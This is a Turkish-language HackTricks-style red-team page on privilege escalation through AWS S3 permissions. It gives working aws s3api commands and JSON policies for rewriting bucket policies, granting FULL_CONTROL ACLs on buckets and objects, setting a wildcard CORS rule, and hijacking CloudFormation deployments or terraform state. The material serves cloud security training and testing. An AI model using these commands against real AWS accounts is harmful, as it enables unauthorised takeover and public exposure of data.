AWS - S3 Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

Bu permissions’a sahip bir attacker, ilginç buckets üzerinde kaynakları hijack edebilir ve escalate privileges yapabilir.

Örneğin, “cf-templates-nohnwfax6a6i-us-east-1” adlı bir cloudformation bucket üzerinde bu permissions over a cloudformation bucket’a sahip bir attacker deployment’ı hijack edebilecektir. Erişim aşağıdaki policy ile verilebilir:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}

Ve hijack mümkün çünkü şablonun bucket’a yüklendiği andan şablonun deploy edildiği ana kadar küçük bir zaman penceresi vardır. Bir saldırgan hesabında lambda function oluşturup, bucket bildirimi gönderildiğinde tetiklenecek şekilde ayarlayabilir ve o bucket’ın content’ini hijack edebilir.

The Pacu module cfn__resouce_injection bu saldırıyı otomatikleştirmek için kullanılabilir.
Daha fazla bilgi için orijinal araştırmaya bakın: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

Bunlar S3’e obje get ve upload etme izinleridir. AWS içindeki (ve dışındaki) birkaç servis, yapılandırma dosyalarını saklamak için S3 storage kullanır.
Bu dosyalara okuma izni olan bir saldırgan, üzerinde hassas bilgiler bulabilir.
Bunlara yazma izni olan bir saldırgan ise veriyi değiştirip bazı servisleri kötüye kullanarak ayrıcalıkları yükseltmeye çalışabilir.
Bunlara birkaç örnek:

  • Eğer bir EC2 instance’ı user data’yı bir S3 bucket’ında tutuyorsa, bir saldırgan bunu değiştirerek EC2 instance içinde istediği kodu çalıştırabilir.

s3:PutObject, s3:GetObject (optional) over terraform state file

terraform state dosyalarının cloud sağlayıcılarının blob storage’larına, ör. AWS S3’e kaydedilmesi çok yaygındır. State dosyalarının dosya uzantısı .tfstate’dir ve bucket isimleri genellikle terraform state dosyalarını içerdiğini belli eder. Genellikle her AWS hesabında hesabın durumunu gösteren state dosyalarını saklamak için böyle bir bucket bulunur. Ayrıca gerçek dünya hesaplarında çoğu zaman tüm geliştiriciler s3:* ve bazen iş kullanıcıları bile s3:Put* izinlerine sahiptir.

Yani, eğer bu dosyalar üzerinde listelenen izinlere sahipseniz, pipeline içinde terraform ayrıcalıklarıyla RCE elde etmenizi sağlayan bir saldırı vektörü vardır — çoğu zaman AdministratorAccess, bu da sizi bulut hesabının admini yapar. Ayrıca bu vektörü, terraform’ın meşru kaynakları silmesini sağlayarak hizmet reddi saldırısı (denial of service) yapmak için kullanabilirsiniz.

Doğrudan kullanılabilir exploit kodu için Abusing Terraform State Files bölümündeki açıklamayı takip edin:

Abusing Terraform State Files

s3:PutBucketPolicy

Aynı hesaptan olması gereken bir saldırgan (aksi halde The specified method is not allowed hatası tetiklenir), bu izin ile kendine bucket(lar) üzerinde daha fazla izin verebilir; böylece bucket’ları okuyabilir, yazabilir, değiştirebilir, silebilir ve açığa çıkarabilir.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

Bir saldırgan bu izinleri belirli bucket’lar üzerinde kendisine daha fazla erişim sağlamak için kötüye kullanabilir.
Saldırganın aynı hesaptan olması gerekmediğini unutmayın. Ayrıca write access

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

Bir attacker, bu izinleri kötüye kullanarak bucket içindeki belirli nesneler üzerinde kendisine daha fazla erişim sağlayabilir.

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

Bu ayrıcalıklara sahip bir saldırganın belirli bir object version’a Acl atayabilmesi beklenir.

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json

s3:PutBucketCORS

s3:PutBucketCORS iznine sahip bir saldırgan, bir bucket’ın CORS (Cross-Origin Resource Sharing) yapılandırmasını değiştirebilir; bu yapılandırma hangi web domainlerinin uç noktalarına erişebileceğini kontrol eder. Eğer geniş izinli bir politika ayarlarsa, herhangi bir web sitesi doğrudan bucket’a istek gönderebilir ve tarayıcı üzerinden dönen yanıtları okuyabilir.

Bu, potansiyel olarak şu anlama gelir: bucket’tan barındırılan bir web uygulamasına kimliği doğrulanmış bir kullanıcı saldırganın sitesini ziyaret ederse, saldırgan geniş izinli CORS politikasını kötüye kullanarak, uygulamaya bağlı olarak kullanıcının profil verilerine erişebilir veya hatta kullanıcının hesabını ele geçirebilir.

aws s3api put-bucket-cors \
--bucket <BUCKET_NAME> \
--cors-configuration '{
"CORSRules": [
{
"AllowedOrigins": ["*"],
"AllowedMethods": ["GET", "PUT", "POST"],
"AllowedHeaders": ["*"],
"ExposeHeaders": ["x-amz-request-id"],
"MaxAgeSeconds": 3000
}
]
}'

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin